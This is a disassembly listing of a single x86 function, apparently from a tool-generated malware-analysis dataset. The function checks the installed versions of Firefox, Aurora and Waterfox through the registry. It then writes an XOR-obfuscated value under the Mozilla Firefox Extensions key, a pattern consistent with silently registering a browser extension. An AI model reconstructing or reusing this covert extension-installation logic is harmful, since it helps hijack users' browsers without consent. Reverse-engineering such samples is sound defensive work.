Function at 0x40deb0
Capabilities:
Encode data using xor
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5f129b
push eax
mov dword fs:[0], esp
sub esp, 0xfc
lea eax, [esp]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push ebp
push esi
push edi
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwareMozillaMozilla_Firefox
push reloc.WS2_32.dll_bind
mov ebp, 1
call ebx
test eax, eax
jne 0x40df6d
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.CurrentVersion
push eax
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40df5a
lea ecx, [esp + 0x28]
push 0x2e
push ecx
mov esi, ebp
call fcn.005c2f50
add esp, 8
test eax, eax
je 0x40df5a
lea edx, [esp + 0x28]
mov byte [eax], 0
push edx
call fcn.005c3293
add esp, 4
test eax, eax
je 0x40df5a
cmp eax, 8
jge 0x40df5a
xor ebp, ebp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e1e4
lea ecx, [esp + 0x10]
xor esi, esi
push ecx
push 0x20019
push esi
push str.SoftwareMozillaAurora
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e005
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
lea eax, [esp + 0x28]
push edx
push eax
push esi
push esi
push str.CurrentVersion
push ecx
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dff2
lea edx, [esp + 0x28]
mov esi, 1
push 0x2e
push edx
mov ebp, esi
call fcn.005c2f50
add esp, 8
test eax, eax
je 0x40dff2
mov byte [eax], 0
lea eax, [esp + 0x28]
push eax
call fcn.005c3293
add esp, 4
test eax, eax
je 0x40dff2
cmp eax, 8
jge 0x40dff2
xor ebp, ebp
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e1e4
call fcn.004406e0
test eax, eax
je 0x40e1d8
lea edx, [esp + 0x10]
xor esi, esi
push edx
push 0x20119
push esi
push str.SoftwareMozillaMozilla_Firefox
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e0aa
mov ecx, 0x19
lea edi, [esp + 0x28]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], 0x64
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
lea ecx, [esp + 0x28]
push eax
push ecx
push esi
push esi
push str.CurrentVersion
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e097
lea eax, [esp + 0x28]
mov esi, 1
push 0x2e
push eax
mov ebp, esi
call fcn.005c2f50
add esp, 8
test eax, eax
je 0x40e097
lea ecx, [esp + 0x28]
mov byte [eax], 0
push ecx
call fcn.005c3293
add esp, 4
test eax, eax
je 0x40e097
cmp eax, 8
jge 0x40e097
xor ebp, ebp
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e1e4
lea eax, [esp + 0x10]
xor esi, esi
push eax
push 0x20119
push esi
push str.SoftwareMozillaAurora
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e142
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
push edx
push eax
push eax
mov eax, dword [esp + 0x20]
push str.CurrentVersion
push eax
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e12f
lea ecx, [esp + 0x28]
mov esi, 1
push 0x2e
push ecx
mov ebp, esi
call fcn.005c2f50
add esp, 8
test eax, eax
je 0x40e12f
lea edx, [esp + 0x28]
mov byte [eax], 0
push edx
call fcn.005c3293
add esp, 4
test eax, eax
je 0x40e12f
cmp eax, 8
jge 0x40e12f
xor ebp, ebp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x40e1e4
lea ecx, [esp + 0x10]
xor esi, esi
push ecx
push 0x20119
push esi
push str.SoftwareMozillaWaterfox
push reloc.WS2_32.dll_bind
call ebx
test eax, eax
jne 0x40e1d8
mov ecx, 0x19
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x10]
lea edx, [esp + 0x14]
lea eax, [esp + 0x28]
push edx
xor edi, edi
push eax
push edi
push edi
push str.CurrentVersion
push ecx
mov dword [esp + 0x2c], 0x64
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e1c9
lea edx, [esp + 0x28]
mov esi, 1
push 0x2e
push edx
mov ebp, esi
call fcn.005c2f50
add esp, 8
cmp eax, edi
je 0x40e1c9
mov byte [eax], 0
lea eax, [esp + 0x28]
push eax
call fcn.005c3293
add esp, 4
cmp eax, edi
je 0x40e1c9
cmp eax, 8
jge 0x40e1c9
xor ebp, ebp
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, edi
jne 0x40e1e6
call fcn.0040dde0
xor eax, eax
jmp 0x40e338
xor edi, edi
call fcn.0040db50
test eax, eax
je 0x40e1f6
xor eax, eax
jmp 0x40e338
lea edx, [esp + 0x18]
push edx
push 0xf003f
push edi
push str.SoftwareMozillaFirefoxExtensions
push reloc.WS2_32.dll_accept
call ebx
test eax, eax
je 0x40e218
xor eax, eax
jmp 0x40e338
cmp dword [esp + 0x11c], edi
je 0x40e25b
cmp ebp, edi
je 0x40e25b
xor esi, esi
push 0x69ee80
call fcn.004177d0
add esp, 4
test eax, eax
jne 0x40e24e
push 0x3e8
call fcn.004223d0
add esp, 4
inc esi
cmp esi, 0x12c
jl 0x40e227
push 0x2bf20
call fcn.004223d0
add esp, 4
xor esi, esi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x24], edi
mov word [esp + 0x20], di
mov eax, dword [0x6cce30]
mov dword [esp + 0x114], edi
cmp eax, edi
jne 0x40e27f
mov eax, 0x6cce34
push str.idmmzcc5
push eax
push 0x69e048
lea ecx, [esp + 0x28]
call fcn.0040e360
lea eax, [esp + 0x8c]
push 0x69ecd4
push eax
call fcn.005c30ba
lea ecx, [esp + 0x94]
push ecx
call fcn.005c2f1a
add esp, 0xc
cmp eax, edi
jle 0x40e2d7
lea ecx, [esp + 0x8c]
mov dx, word [ecx]
add ecx, 2
xor dx, 0x4d
sub edx, 0xff
dec eax
mov word [ecx - 2], dx
jne 0x40e2c0
lea ecx, [esp + 0x1c]
call fcn.00401f40
push eax
call fcn.005c2f1a
add esp, 4
lea eax, [eax + eax + 2]
lea ecx, [esp + 0x1c]
push eax
call fcn.00401f40
mov edx, dword [esp + 0x1c]
push eax
push 1
lea ecx, [esp + 0x98]
push edi
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x40e317
mov esi, 1
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x114], 0xffffffff
call fcn.00401070
mov eax, esi
mov ecx, dword [esp + 0x10c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x108
ret